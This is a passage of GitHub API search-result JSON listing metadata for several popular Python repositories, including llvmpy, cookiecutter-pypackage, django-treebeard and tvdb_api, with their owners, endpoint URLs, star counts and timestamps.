ttps://github.com/skazhy","followers_url":"https://api.github.com/users/skazhy/followers","following_url":"https://api.github.com/users/skazhy/following{/other_user}","gists_url":"https://api.github.com/users/skazhy/gists{/gist_id}","starred_url":"https://api.github.com/users/skazhy/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/skazhy/subscriptions","organizations_url":"https://api.github.com/users/skazhy/orgs","repos_url":"https://api.github.com/users/skazhy/repos","events_url":"https://api.github.com/users/skazhy/events{/privacy}","received_events_url":"https://api.github.com/users/skazhy/received_events","type":"User","site_admin":false},"private":false,"html_url":"https://github.com/skazhy/github-decorator","description":"A GitHub profile decorator","fork":false,"url":"https://api.github.com/repos/skazhy/github-decorator","forks_url":"https://api.github.com/repos/skazhy/github-decorator/forks","keys_url":"https://api.github.com/repos/skazhy/github-decorator/keys{/key_id}","collaborators_url":"https://api.github.com/repos/skazhy/github-decorator/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/skazhy/github-decorator/teams","hooks_url":"https://api.github.com/repos/skazhy/github-decorator/hooks","issue_events_url":"https://api.github.com/repos/skazhy/github-decorator/issues/events{/number}","events_url":"https://api.github.com/repos/skazhy/github-decorator/events","assignees_url":"https://api.github.com/repos/skazhy/github-decorator/assignees{/user}","branches_url":"https://api.github.com/repos/skazhy/github-decorator/branches{/branch}","tags_url":"https://api.github.com/repos/skazhy/github-decorator/tags","blobs_url":"https://api.github.com/repos/skazhy/github-decorator/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/skazhy/github-decorator/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/skazhy/github-decorator/git/refs{/sha}","trees_url":"https://api.github.com/repos/skazhy/github-decorator/git/trees{/sha}","statuses_url":"https://api.github.com/repos/skazhy/github-decorator/statuses/{sha}","languages_url":"https://api.github.com/repos/skazhy/github-decorator/languages","stargazers_url":"https://api.github.com/repos/skazhy/github-decorator/stargazers","contributors_url":"https://api.github.com/repos/skazhy/github-decorator/contributors","subscribers_url":"https://api.github.com/repos/skazhy/github-decorator/subscribers","subscription_url":"https://api.github.com/repos/skazhy/github-decorator/subscription","commits_url":"https://api.github.com/repos/skazhy/github-decorator/commits{/sha}","git_commits_url":"https://api.github.com/repos/skazhy/github-decorator/git/commits{/sha}","comments_url":"https://api.github.com/repos/skazhy/github-decorator/comments{/number}","issue_comment_url":"https://api.github.com/repos/skazhy/github-decorator/issues/comments/{number}","contents_url":"https://api.github.com/repos/skazhy/github-decorator/contents/{+path}","compare_url":"https://api.github.com/repos/skazhy/github-decorator/compare/{base}...{head}","merges_url":"https://api.github.com/repos/skazhy/github-decorator/merges","archive_url":"https://api.github.com/repos/skazhy/github-decorator/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/skazhy/github-decorator/downloads","issues_url":"https://api.github.com/repos/skazhy/github-decorator/issues{/number}","pulls_url":"https://api.github.com/repos/skazhy/github-decorator/pulls{/number}","milestones_url":"https://api.github.com/repos/skazhy/github-decorator/milestones{/number}","notifications_url":"https://api.github.com/repos/skazhy/github-decorator/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/skazhy/github-decorator/labels{/name}","releases_url":"https://api.github.com/repos/skazhy/github-decorator/releases{/id}","created_at":"2013-11-01T23:51:30Z","updated_at":"2014-01-11T00:28:07Z","pushed_at":"2013-11-07T09:28:17Z","git_url":"git://github.com/skazhy/github-decorator.git","ssh_url":"git@github.com:skazhy/github-decorator.git","clone_url":"https://github.com/skazhy/github-decorator.git","svn_url":"https://github.com/skazhy/github-decorator","homepage":null,"size":119,"stargazers_count":223,"watchers_count":223,"language":"Python","has_issues":true,"has_downloads":true,"has_wiki":true,"forks_count":13,"mirror_url":null,"open_issues_count":1,"forks":13,"open_issues":1,"watchers":223,"default_branch":"master","master_branch":"master","score":21.266361},{"id":3375197,"name":"llvmpy","full_name":"llvmpy/llvmpy","owner":{"login":"llvmpy","id":2081869,"avatar_url":"https://avatars.githubusercontent.com/u/2081869","gravatar_id":"a718e9fd797832c135474a751557081c","url":"https://api.github.com/users/llvmpy","html_url":"https://github.com/llvmpy","followers_url":"https://api.github.com/users/llvmpy/followers","following_url":"https://api.github.com/users/llvmpy/following{/other_user}","gists_url":"https://api.github.com/users/llvmpy/gists{/gist_id}","starred_url":"https://api.github.com/users/llvmpy/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/llvmpy/subscriptions","organizations_url":"https://api.github.com/users/llvmpy/orgs","repos_url":"https://api.github.com/users/llvmpy/repos","events_url":"https://api.github.com/users/llvmpy/events{/privacy}","received_events_url":"https://api.github.com/users/llvmpy/received_events","type":"Organization","site_admin":false},"private":false,"html_url":"https://github.com/llvmpy/llvmpy","description":"Originally a github fork of the llvm-py repository from http://www.mdevan.org/llvm-py/index.html updated to work with LLVM 3.x. Since then it has changed significantly with multiple sub-projects.","fork":false,"url":"https://api.github.com/repos/llvmpy/llvmpy","forks_url":"https://api.github.com/repos/llvmpy/llvmpy/forks","keys_url":"https://api.github.com/repos/llvmpy/llvmpy/keys{/key_id}","collaborators_url":"https://api.github.com/repos/llvmpy/llvmpy/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/llvmpy/llvmpy/teams","hooks_url":"https://api.github.com/repos/llvmpy/llvmpy/hooks","issue_events_url":"https://api.github.com/repos/llvmpy/llvmpy/issues/events{/number}","events_url":"https://api.github.com/repos/llvmpy/llvmpy/events","assignees_url":"https://api.github.com/repos/llvmpy/llvmpy/assignees{/user}","branches_url":"https://api.github.com/repos/llvmpy/llvmpy/branches{/branch}","tags_url":"https://api.github.com/repos/llvmpy/llvmpy/tags","blobs_url":"https://api.github.com/repos/llvmpy/llvmpy/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/llvmpy/llvmpy/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/llvmpy/llvmpy/git/refs{/sha}","trees_url":"https://api.github.com/repos/llvmpy/llvmpy/git/trees{/sha}","statuses_url":"https://api.github.com/repos/llvmpy/llvmpy/statuses/{sha}","languages_url":"https://api.github.com/repos/llvmpy/llvmpy/languages","stargazers_url":"https://api.github.com/repos/llvmpy/llvmpy/stargazers","contributors_url":"https://api.github.com/repos/llvmpy/llvmpy/contributors","subscribers_url":"https://api.github.com/repos/llvmpy/llvmpy/subscribers","subscription_url":"https://api.github.com/repos/llvmpy/llvmpy/subscription","commits_url":"https://api.github.com/repos/llvmpy/llvmpy/commits{/sha}","git_commits_url":"https://api.github.com/repos/llvmpy/llvmpy/git/commits{/sha}","comments_url":"https://api.github.com/repos/llvmpy/llvmpy/comments{/number}","issue_comment_url":"https://api.github.com/repos/llvmpy/llvmpy/issues/comments/{number}","contents_url":"https://api.github.com/repos/llvmpy/llvmpy/contents/{+path}","compare_url":"https://api.github.com/repos/llvmpy/llvmpy/compare/{base}...{head}","merges_url":"https://api.github.com/repos/llvmpy/llvmpy/merges","archive_url":"https://api.github.com/repos/llvmpy/llvmpy/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/llvmpy/llvmpy/downloads","issues_url":"https://api.github.com/repos/llvmpy/llvmpy/issues{/number}","pulls_url":"https://api.github.com/repos/llvmpy/llvmpy/pulls{/number}","milestones_url":"https://api.github.com/repos/llvmpy/llvmpy/milestones{/number}","notifications_url":"https://api.github.com/repos/llvmpy/llvmpy/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/llvmpy/llvmpy/labels{/name}","releases_url":"https://api.github.com/repos/llvmpy/llvmpy/releases{/id}","created_at":"2012-02-07T07:09:59Z","updated_at":"2014-02-18T21:39:20Z","pushed_at":"2014-02-18T21:39:20Z","git_url":"git://github.com/llvmpy/llvmpy.git","ssh_url":"git@github.com:llvmpy/llvmpy.git","clone_url":"https://github.com/llvmpy/llvmpy.git","svn_url":"https://github.com/llvmpy/llvmpy","homepage":"www.llvmpy.org","size":5833,"stargazers_count":220,"watchers_count":220,"language":"Python","has_issues":true,"has_downloads":true,"has_wiki":true,"forks_count":48,"mirror_url":null,"open_issues_count":33,"forks":48,"open_issues":33,"watchers":220,"default_branch":"master","master_branch":"master","score":9.256256},{"id":54383,"name":"gmate","full_name":"lexrupy/gmate","owner":{"login":"lexrupy","id":16597,"avatar_url":"https://avatars.githubusercontent.com/u/16597","gravatar_id":"ff4ea51c90e15b65b137e8fb60e60764","url":"https://api.github.com/users/lexrupy","html_url":"https://github.com/lexrupy","followers_url":"https://api.github.com/users/lexrupy/followers","following_url":"https://api.github.com/users/lexrupy/following{/other_user}","gists_url":"https://api.github.com/users/lexrupy/gists{/gist_id}","starred_url":"https://api.github.com/users/lexrupy/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/lexrupy/subscriptions","organizations_url":"https://api.github.com/users/lexrupy/orgs","repos_url":"https://api.github.com/users/lexrupy/repos","events_url":"https://api.github.com/users/lexrupy/events{/privacy}","received_events_url":"https://api.github.com/users/lexrupy/received_events","type":"User","site_admin":false},"private":false,"html_url":"https://github.com/lexrupy/gmate","description":"Gmate has been moved to http://github.com/gmate/gmate","fork":false,"url":"https://api.github.com/repos/lexrupy/gmate","forks_url":"https://api.github.com/repos/lexrupy/gmate/forks","keys_url":"https://api.github.com/repos/lexrupy/gmate/keys{/key_id}","collaborators_url":"https://api.github.com/repos/lexrupy/gmate/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/lexrupy/gmate/teams","hooks_url":"https://api.github.com/repos/lexrupy/gmate/hooks","issue_events_url":"https://api.github.com/repos/lexrupy/gmate/issues/events{/number}","events_url":"https://api.github.com/repos/lexrupy/gmate/events","assignees_url":"https://api.github.com/repos/lexrupy/gmate/assignees{/user}","branches_url":"https://api.github.com/repos/lexrupy/gmate/branches{/branch}","tags_url":"https://api.github.com/repos/lexrupy/gmate/tags","blobs_url":"https://api.github.com/repos/lexrupy/gmate/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/lexrupy/gmate/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/lexrupy/gmate/git/refs{/sha}","trees_url":"https://api.github.com/repos/lexrupy/gmate/git/trees{/sha}","statuses_url":"https://api.github.com/repos/lexrupy/gmate/statuses/{sha}","languages_url":"https://api.github.com/repos/lexrupy/gmate/languages","stargazers_url":"https://api.github.com/repos/lexrupy/gmate/stargazers","contributors_url":"https://api.github.com/repos/lexrupy/gmate/contributors","subscribers_url":"https://api.github.com/repos/lexrupy/gmate/subscribers","subscription_url":"https://api.github.com/repos/lexrupy/gmate/subscription","commits_url":"https://api.github.com/repos/lexrupy/gmate/commits{/sha}","git_commits_url":"https://api.github.com/repos/lexrupy/gmate/git/commits{/sha}","comments_url":"https://api.github.com/repos/lexrupy/gmate/comments{/number}","issue_comment_url":"https://api.github.com/repos/lexrupy/gmate/issues/comments/{number}","contents_url":"https://api.github.com/repos/lexrupy/gmate/contents/{+path}","compare_url":"https://api.github.com/repos/lexrupy/gmate/compare/{base}...{head}","merges_url":"https://api.github.com/repos/lexrupy/gmate/merges","archive_url":"https://api.github.com/repos/lexrupy/gmate/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/lexrupy/gmate/downloads","issues_url":"https://api.github.com/repos/lexrupy/gmate/issues{/number}","pulls_url":"https://api.github.com/repos/lexrupy/gmate/pulls{/number}","milestones_url":"https://api.github.com/repos/lexrupy/gmate/milestones{/number}","notifications_url":"https://api.github.com/repos/lexrupy/gmate/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/lexrupy/gmate/labels{/name}","releases_url":"https://api.github.com/repos/lexrupy/gmate/releases{/id}","created_at":"2008-09-19T18:55:31Z","updated_at":"2013-12-22T15:18:35Z","pushed_at":"2010-09-05T16:27:39Z","git_url":"git://github.com/lexrupy/gmate.git","ssh_url":"git@github.com:lexrupy/gmate.git","clone_url":"https://github.com/lexrupy/gmate.git","svn_url":"https://github.com/lexrupy/gmate","homepage":"http://github.com/gmate/gmate","size":701,"stargazers_count":203,"watchers_count":203,"language":"Python","has_issues":false,"has_downloads":false,"has_wiki":false,"forks_count":14,"mirror_url":null,"open_issues_count":13,"forks":14,"open_issues":13,"watchers":203,"default_branch":"master","master_branch":"master","score":10.443312},{"id":179358,"name":"python-github2","full_name":"ask/python-github2","owner":{"login":"ask","id":1558,"avatar_url":"https://avatars.githubusercontent.com/u/1558","gravatar_id":"7e8b501f7f579c66ddac7e65cb7962b4","url":"https://api.github.com/users/ask","html_url":"https://github.com/ask","followers_url":"https://api.github.com/users/ask/followers","following_url":"https://api.github.com/users/ask/following{/other_user}","gists_url":"https://api.github.com/users/ask/gists{/gist_id}","starred_url":"https://api.github.com/users/ask/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ask/subscriptions","organizations_url":"https://api.github.com/users/ask/orgs","repos_url":"https://api.github.com/users/ask/repos","events_url":"https://api.github.com/users/ask/events{/privacy}","received_events_url":"https://api.github.com/users/ask/received_events","type":"User","site_admin":false},"private":false,"html_url":"https://github.com/ask/python-github2","description":"github client in python, with issues support.","fork":false,"url":"https://api.github.com/repos/ask/python-github2","forks_url":"https://api.github.com/repos/ask/python-github2/forks","keys_url":"https://api.github.com/repos/ask/python-github2/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ask/python-github2/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ask/python-github2/teams","hooks_url":"https://api.github.com/repos/ask/python-github2/hooks","issue_events_url":"https://api.github.com/repos/ask/python-github2/issues/events{/number}","events_url":"https://api.github.com/repos/ask/python-github2/events","assignees_url":"https://api.github.com/repos/ask/python-github2/assignees{/user}","branches_url":"https://api.github.com/repos/ask/python-github2/branches{/branch}","tags_url":"https://api.github.com/repos/ask/python-github2/tags","blobs_url":"https://api.github.com/repos/ask/python-github2/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ask/python-github2/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ask/python-github2/git/refs{/sha}","trees_url":"https://api.github.com/repos/ask/python-github2/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ask/python-github2/statuses/{sha}","languages_url":"https://api.github.com/repos/ask/python-github2/languages","stargazers_url":"https://api.github.com/repos/ask/python-github2/stargazers","contributors_url":"https://api.github.com/repos/ask/python-github2/contributors","subscribers_url":"https://api.github.com/repos/ask/python-github2/subscribers","subscription_url":"https://api.github.com/repos/ask/python-github2/subscription","commits_url":"https://api.github.com/repos/ask/python-github2/commits{/sha}","git_commits_url":"https://api.github.com/repos/ask/python-github2/git/commits{/sha}","comments_url":"https://api.github.com/repos/ask/python-github2/comments{/number}","issue_comment_url":"https://api.github.com/repos/ask/python-github2/issues/comments/{number}","contents_url":"https://api.github.com/repos/ask/python-github2/contents/{+path}","compare_url":"https://api.github.com/repos/ask/python-github2/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ask/python-github2/merges","archive_url":"https://api.github.com/repos/ask/python-github2/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ask/python-github2/downloads","issues_url":"https://api.github.com/repos/ask/python-github2/issues{/number}","pulls_url":"https://api.github.com/repos/ask/python-github2/pulls{/number}","milestones_url":"https://api.github.com/repos/ask/python-github2/milestones{/number}","notifications_url":"https://api.github.com/repos/ask/python-github2/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ask/python-github2/labels{/name}","releases_url":"https://api.github.com/repos/ask/python-github2/releases{/id}","created_at":"2009-04-18T15:31:12Z","updated_at":"2014-01-05T16:47:50Z","pushed_at":"2012-06-11T16:07:14Z","git_url":"git://github.com/ask/python-github2.git","ssh_url":"git@github.com:ask/python-github2.git","clone_url":"https://github.com/ask/python-github2.git","svn_url":"https://github.com/ask/python-github2","homepage":"http://packages.python.org/github2","size":832,"stargazers_count":195,"watchers_count":195,"language":"Python","has_issues":true,"has_downloads":true,"has_wiki":true,"forks_count":58,"mirror_url":null,"open_issues_count":0,"forks":58,"open_issues":0,"watchers":195,"default_branch":"master","master_branch":"master","score":27.283829},{"id":11407567,"name":"cookiecutter-pypackage","full_name":"audreyr/cookiecutter-pypackage","owner":{"login":"audreyr","id":74739,"avatar_url":"https://avatars.githubusercontent.com/u/74739","gravatar_id":"21c87b66d4e8fbe9d55219d3c1a2c73d","url":"https://api.github.com/users/audreyr","html_url":"https://github.com/audreyr","followers_url":"https://api.github.com/users/audreyr/followers","following_url":"https://api.github.com/users/audreyr/following{/other_user}","gists_url":"https://api.github.com/users/audreyr/gists{/gist_id}","starred_url":"https://api.github.com/users/audreyr/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/audreyr/subscriptions","organizations_url":"https://api.github.com/users/audreyr/orgs","repos_url":"https://api.github.com/users/audreyr/repos","events_url":"https://api.github.com/users/audreyr/events{/privacy}","received_events_url":"https://api.github.com/users/audreyr/received_events","type":"User","site_admin":false},"private":false,"html_url":"https://github.com/audreyr/cookiecutter-pypackage","description":"Cookiecutter template for a Python package. See https://github.com/audreyr/cookiecutter.","fork":false,"url":"https://api.github.com/repos/audreyr/cookiecutter-pypackage","forks_url":"https://api.github.com/repos/audreyr/cookiecutter-pypackage/forks","keys_url":"https://api.github.com/repos/audreyr/cookiecutter-pypackage/keys{/key_id}","collaborators_url":"https://api.github.com/repos/audreyr/cookiecutter-pypackage/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/audreyr/cookiecutter-pypackage/teams","hooks_url":"https://api.github.com/repos/audreyr/cookiecutter-pypackage/hooks","issue_events_url":"https://api.github.com/repos/audreyr/cookiecutter-pypackage/issues/events{/number}","events_url":"https://api.github.com/repos/audreyr/cookiecutter-pypackage/events","assignees_url":"https://api.github.com/repos/audreyr/cookiecutter-pypackage/assignees{/user}","branches_url":"https://api.github.com/repos/audreyr/cookiecutter-pypackage/branches{/branch}","tags_url":"https://api.github.com/repos/audreyr/cookiecutter-pypackage/tags","blobs_url":"https://api.github.com/repos/audreyr/cookiecutter-pypackage/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/audreyr/cookiecutter-pypackage/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/audreyr/cookiecutter-pypackage/git/refs{/sha}","trees_url":"https://api.github.com/repos/audreyr/cookiecutter-pypackage/git/trees{/sha}","statuses_url":"https://api.github.com/repos/audreyr/cookiecutter-pypackage/statuses/{sha}","languages_url":"https://api.github.com/repos/audreyr/cookiecutter-pypackage/languages","stargazers_url":"https://api.github.com/repos/audreyr/cookiecutter-pypackage/stargazers","contributors_url":"https://api.github.com/repos/audreyr/cookiecutter-pypackage/contributors","subscribers_url":"https://api.github.com/repos/audreyr/cookiecutter-pypackage/subscribers","subscription_url":"https://api.github.com/repos/audreyr/cookiecutter-pypackage/subscription","commits_url":"https://api.github.com/repos/audreyr/cookiecutter-pypackage/commits{/sha}","git_commits_url":"https://api.github.com/repos/audreyr/cookiecutter-pypackage/git/commits{/sha}","comments_url":"https://api.github.com/repos/audreyr/cookiecutter-pypackage/comments{/number}","issue_comment_url":"https://api.github.com/repos/audreyr/cookiecutter-pypackage/issues/comments/{number}","contents_url":"https://api.github.com/repos/audreyr/cookiecutter-pypackage/contents/{+path}","compare_url":"https://api.github.com/repos/audreyr/cookiecutter-pypackage/compare/{base}...{head}","merges_url":"https://api.github.com/repos/audreyr/cookiecutter-pypackage/merges","archive_url":"https://api.github.com/repos/audreyr/cookiecutter-pypackage/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/audreyr/cookiecutter-pypackage/downloads","issues_url":"https://api.github.com/repos/audreyr/cookiecutter-pypackage/issues{/number}","pulls_url":"https://api.github.com/repos/audreyr/cookiecutter-pypackage/pulls{/number}","milestones_url":"https://api.github.com/repos/audreyr/cookiecutter-pypackage/milestones{/number}","notifications_url":"https://api.github.com/repos/audreyr/cookiecutter-pypackage/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/audreyr/cookiecutter-pypackage/labels{/name}","releases_url":"https://api.github.com/repos/audreyr/cookiecutter-pypackage/releases{/id}","created_at":"2013-07-14T18:52:05Z","updated_at":"2014-02-20T16:05:14Z","pushed_at":"2014-02-20T16:05:14Z","git_url":"git://github.com/audreyr/cookiecutter-pypackage.git","ssh_url":"git@github.com:audreyr/cookiecutter-pypackage.git","clone_url":"https://github.com/audreyr/cookiecutter-pypackage.git","svn_url":"https://github.com/audreyr/cookiecutter-pypackage","homepage":null,"size":486,"stargazers_count":195,"watchers_count":195,"language":"Python","has_issues":true,"has_downloads":true,"has_wiki":true,"forks_count":99,"mirror_url":null,"open_issues_count":5,"forks":99,"open_issues":5,"watchers":195,"default_branch":"master","master_branch":"master","score":17.574614},{"id":602040,"name":"django-treebeard","full_name":"tabo/django-treebeard","owner":{"login":"tabo","id":33574,"avatar_url":"https://avatars.githubusercontent.com/u/33574","gravatar_id":"dea106e7a35cff588be54b9a4870028b","url":"https://api.github.com/users/tabo","html_url":"https://github.com/tabo","followers_url":"https://api.github.com/users/tabo/followers","following_url":"https://api.github.com/users/tabo/following{/other_user}","gists_url":"https://api.github.com/users/tabo/gists{/gist_id}","starred_url":"https://api.github.com/users/tabo/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/tabo/subscriptions","organizations_url":"https://api.github.com/users/tabo/orgs","repos_url":"https://api.github.com/users/tabo/repos","events_url":"https://api.github.com/users/tabo/events{/privacy}","received_events_url":"https://api.github.com/users/tabo/received_events","type":"User","site_admin":false},"private":false,"html_url":"https://github.com/tabo/django-treebeard","description":"Efficient tree implementations for Django (github mirror)","fork":false,"url":"https://api.github.com/repos/tabo/django-treebeard","forks_url":"https://api.github.com/repos/tabo/django-treebeard/forks","keys_url":"https://api.github.com/repos/tabo/django-treebeard/keys{/key_id}","collaborators_url":"https://api.github.com/repos/tabo/django-treebeard/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/tabo/django-treebeard/teams","hooks_url":"https://api.github.com/repos/tabo/django-treebeard/hooks","issue_events_url":"https://api.github.com/repos/tabo/django-treebeard/issues/events{/number}","events_url":"https://api.github.com/repos/tabo/django-treebeard/events","assignees_url":"https://api.github.com/repos/tabo/django-treebeard/assignees{/user}","branches_url":"https://api.github.com/repos/tabo/django-treebeard/branches{/branch}","tags_url":"https://api.github.com/repos/tabo/django-treebeard/tags","blobs_url":"https://api.github.com/repos/tabo/django-treebeard/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/tabo/django-treebeard/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/tabo/django-treebeard/git/refs{/sha}","trees_url":"https://api.github.com/repos/tabo/django-treebeard/git/trees{/sha}","statuses_url":"https://api.github.com/repos/tabo/django-treebeard/statuses/{sha}","languages_url":"https://api.github.com/repos/tabo/django-treebeard/languages","stargazers_url":"https://api.github.com/repos/tabo/django-treebeard/stargazers","contributors_url":"https://api.github.com/repos/tabo/django-treebeard/contributors","subscribers_url":"https://api.github.com/repos/tabo/django-treebeard/subscribers","subscription_url":"https://api.github.com/repos/tabo/django-treebeard/subscription","commits_url":"https://api.github.com/repos/tabo/django-treebeard/commits{/sha}","git_commits_url":"https://api.github.com/repos/tabo/django-treebeard/git/commits{/sha}","comments_url":"https://api.github.com/repos/tabo/django-treebeard/comments{/number}","issue_comment_url":"https://api.github.com/repos/tabo/django-treebeard/issues/comments/{number}","contents_url":"https://api.github.com/repos/tabo/django-treebeard/contents/{+path}","compare_url":"https://api.github.com/repos/tabo/django-treebeard/compare/{base}...{head}","merges_url":"https://api.github.com/repos/tabo/django-treebeard/merges","archive_url":"https://api.github.com/repos/tabo/django-treebeard/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/tabo/django-treebeard/downloads","issues_url":"https://api.github.com/repos/tabo/django-treebeard/issues{/number}","pulls_url":"https://api.github.com/repos/tabo/django-treebeard/pulls{/number}","milestones_url":"https://api.github.com/repos/tabo/django-treebeard/milestones{/number}","notifications_url":"https://api.github.com/repos/tabo/django-treebeard/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/tabo/django-treebeard/labels{/name}","releases_url":"https://api.github.com/repos/tabo/django-treebeard/releases{/id}","created_at":"2010-04-09T06:10:02Z","updated_at":"2014-02-23T20:16:59Z","pushed_at":"2014-02-23T20:16:59Z","git_url":"git://github.com/tabo/django-treebeard.git","ssh_url":"git@github.com:tabo/django-treebeard.git","clone_url":"https://github.com/tabo/django-treebeard.git","svn_url":"https://github.com/tabo/django-treebeard","homepage":"https://tabo.pe/projects/django-treebeard/","size":1421,"stargazers_count":177,"watchers_count":177,"language":"Python","has_issues":false,"has_downloads":false,"has_wiki":false,"forks_count":27,"mirror_url":null,"open_issues_count":0,"forks":27,"open_issues":0,"watchers":177,"default_branch":"master","master_branch":"master","score":15.324995},{"id":14645,"name":"tvdb_api","full_name":"dbr/tvdb_api","owner":{"login":"dbr","id":509,"avatar_url":"https://avatars.githubusercontent.com/u/509","gravatar_id":"edf857d71f672d8f411ef6b8376316b8","url":"https://api.github.com/users/dbr","html_url":"https://github.com/dbr","followers_url":"https://api.github.com/users/dbr/followers","following_url":"https://api.github.com/users/dbr/following{/other_user}","gists_url":"https://api.github.com/users/dbr/gists{/gist_id}","starred_url":"https://api.github.com/users/dbr/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/dbr/subscriptions","organizations_url":"https://api.github.com/users/dbr/orgs","repos_url":"https://api.github.com/users/dbr/repos","events_url":"https://api.github.com/users/dbr/events{/privacy}","received_events_url":"https://api.github.com/users/dbr/received_events","type":"User","site_admin":false},"private":false,"html_url":"https://github.com/dbr/tvdb_api","description":"Simple to use TVDB (thetvdb.com) API in Python. The automatic TV episode namer \"tvnamer\" is now in a separate repository http://github.com/dbr/tvnamer","fork":false,"url":"https://api.github.com/repos/dbr/tvdb_api","forks_url":"https://api.github.com/repos/dbr/tvdb_api/forks","keys_url":"https://api.github.com/repos/dbr/tvdb_api/keys{/key_id}","collaborators_url":"https://api.github.com/repos/dbr/tvdb_api/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/dbr/tvdb_api/teams","hooks_url":"https://api.github.com/repos/dbr/tvdb_api/hooks","issue_events_url":"https://api.github.com/repos/dbr/tvdb_api/issues/events{/number}","events_url":"https://api.github.com/repos/dbr/tvdb_api/events","assignees_url":"https://api.github.com/repos/dbr/tvdb_api/assignees{/user}","branches_url":"https://api.github.com/repos/dbr/tvdb_api/branches{/branch}","tags_url":"https://api.github.com/repos/dbr/tvdb_api/tags","blobs_url":"https://api.github.com/repos/dbr/tvdb_api/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/dbr/tvdb_api/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/dbr/tvdb_api/git/refs{/sha}","trees_url":"https://api.github.com/repos/dbr/tvdb_api/git/trees{/sha}","statuses_url":"https://api.github.com/repos/dbr/tvdb_api/statuses/{sha}","languages_url":"https://api.github.com/repos/dbr/tvdb_api/languages","stargazers_url":"https://api.github.com/repos/dbr/tvdb_api/stargazers","contributors_url":"https://api.github.com/repos/dbr/tvdb_api/contributors","subscribers_url":"https://api.github.com/repos/dbr/tvdb_api/subscribers","subscription_url":"https://api.github.com/repos/dbr/tvdb_api/subscription","commits_url":"https://api.github.com/repos/dbr/tvdb_api/commits{/sha}","git_commits_url":"https://api.github.com/repos/dbr/tvdb_api/git/commits{/sha}","comments_url":"https://api.github.com/repos/dbr/tvdb_api/comments{/number}","issue_comment_url":"https://api.github.com/repos/dbr/tvdb_api/issues/comments/{number}","contents_url":"https://api.github.com/repos/dbr/tvdb_api/contents/{+path}","compare_url":"https://api.github.com/repos/dbr/tvdb_api/compare/{base}...{head}","merges_url":"https://api.github.com/repos/dbr/tvdb_api/merges","archive_url":"https://api.github.com/repos/dbr/tvdb_api/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/dbr/tvdb_api/downloads","issues_url":"https://api.github.com/repos/dbr/tvdb_api/issues{/number}","pulls_url":"https://api.github.com/repos/dbr/tvdb_api/pulls{/number}","milestones_url":"https://api.github.com/repos/dbr/tvdb_api/milestones{/number}","notifications_url":"https://api.github.com/repos/dbr/tvdb_api/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/dbr/tvdb_api/labels{/name}","releases_url":"https://api.github.com/repos/dbr/tvdb_api/releases{/id}","created_at":"2008-05-05T13:01:53Z","updated_at":"2014-01-06T03:43:32Z","pushed_at":"2013-10-01T08:14:07Z","git_url":"git://github.com/dbr/tvdb_api.git","ssh_url":"git@github.com:dbr/tvdb_api.git","clone_url":"https://github.com/dbr/tvdb_api.git","svn_url":"https://github.com/dbr/tvdb_api","homepage":"http://dbr.lighthouseapp.com/projects/13342-tvdb_api/tickets","size":1294,"stargazers_count":177,"watchers_count":177,"language":"Python","has_issues":true,"has_downloads":true,"has_wiki":true,"forks_count":36,"mirror_url":null,"open_issues_count":10,"forks":36,"open_issues":10,"watchers":177,"default_branch":"master","master_branch":"master","score":9.772404},{"id":103446,"name":"couchapp","full_name":"jchris/couchapp","owner":{"login":"jchris","id":253,"avatar_url":"https://avatars.githubusercontent.com/u/253","gravatar_id":"fc67805d4cb2c9d9e159702e943f9a7c","url":"https://api.github.com/users/jchris","html_url":"https://github.com/jchris","followers_url":"https://api.github.com/users/jchris/followers","following_url":"https://api.github.com/users/jchris/following{/other_user}","gists_url":"https://api.github.com/users/jchris/gists{/gist_id}","starred_url":"https://api.github.com/users/jchris/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jchris/subscriptions","organizations_url":"https://api.github.com/users/jchris/orgs","repos_url":"https://api.github.com/users/jchris/repos","events_url":"https://api.github.com/users/jchris/events{/privacy}","received_events_url":"https://api.github.com/users/jchris/received_events","type":"User","site_admin":false},"private":false,"html_url":"https://github.com/jchris/couchapp","description":"The official repo is now at 